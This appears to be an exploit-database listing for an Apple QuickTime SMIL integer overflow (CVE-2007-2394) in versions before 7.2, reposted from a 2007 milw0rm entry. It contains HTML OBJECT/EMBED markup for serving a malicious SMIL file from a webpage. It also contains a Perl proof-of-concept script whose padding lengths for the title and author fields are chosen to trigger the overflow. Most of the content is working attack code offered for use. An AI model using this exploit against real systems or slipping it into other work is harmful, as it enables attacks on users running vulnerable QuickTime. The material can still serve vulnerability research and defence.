Apple Quicktime < 7.2 - SMIL Remote Integer Overflow PoC

2014-07-0100:00:00

Root

www.seebug.org

0.63 Medium

EPSS

Percentile

97.5%

JSON

No description provided by source.


                                                ----------------------------------------------------------------------
ATTACK VECTORS
----------------------------------------------------------------------

This vulnerability can be triggered by luring a target user into
running a malicious SMIL file locally or via a webpage. In the later
scenario the OBJECT (IE) and/or EMBED (FireFox) tags can be used:

&#60;OBJECT
  CLASSID=&#34;clsid:02BF25D5-8C17-4B23-BC80-D3488ABDDC6B&#34;
  CODEBASE=&#34;http://www.apple.com/qtactivex/qtplugin.cab&#34;
  WIDTH=&#34;10&#34; HEIGHT=&#34;10&#34; &#62;
  &#60;!-- malicious SMIL file --&#62;
  &#60;PARAM NAME=&#34;src&#34; VALUE=&#34;poc.smil&#34; /&#62;
  &#60;EMBED
    &#60;!-- available .qtif or .mov file to start up QT for FF --&#62;
    SRC=&#34;available-sample.qtif&#34;
    &#60;!-- malicious SMIL file --&#62;
    QTSRC=&#34;poc.smil&#34;
    WIDTH=&#34;10&#34; HEIGHT=&#34;10&#34;
    PLUGINSPAGE=&#34; www.apple.com/quicktime/download&#34;
    TYPE=&#34;video/quicktime&#34;
  /&#62;
&#60;/OBJECT&#62;

----------------------------------------------------------------------
PROOF OF CONCEPT
----------------------------------------------------------------------

#!/usr/bin/perl -w

####
# QuickTime SMIL integer overflow vulnerability (CVE-2007-2394) POC
#
# Researched on QuickTime 7.1.3 on Windows 2000 SP4.
#
# David Vaartjes &#60;d.vaartjes at gmail.com&#62;
####

$file = &#34; poc.smil&#34;;
$padd = &#34;x&#34;;
$cop_len = 36;

####
# By choosing the following lengths the
# integer overflow will be triggered.
####

$tit_len = 223;
$auth_len = 65280;

open(FH,&#34;&#62;$file&#34;) or die &#34;Can&#39;t open file:$!&#34;;

print FH
 &#34;&#60;smil&#62;\n&#34;.
 &#34;&#60;head&#62;\n&#34;.
 &#34; &#60;meta name=\&#34;title\&#34; content=\&#34;&#34;.$padd x $tit_len.&#34;\&#34;/&#62;\n&#34;.
 &#34; &#60;meta name=\&#34;author\&#34; content=\&#34;&#34;.$padd x $auth_len.&#34;\&#34;/&#62;\n&#34;.
 &#34; &#60;meta name=\&#34;copyright\&#34; content=\&#34;&#34;.$padd x $cop_len.&#34;\&#34;/&#62;\n&#34;.
 &#34;&#60;/head&#62;\n&#34;.
 &#34;&#60;/smil&#62;&#34;;

close(FH);

# milw0rm.com [2007-09-03]

0.63 Medium

EPSS

Percentile

97.5%

JSON

Related for SSV:64870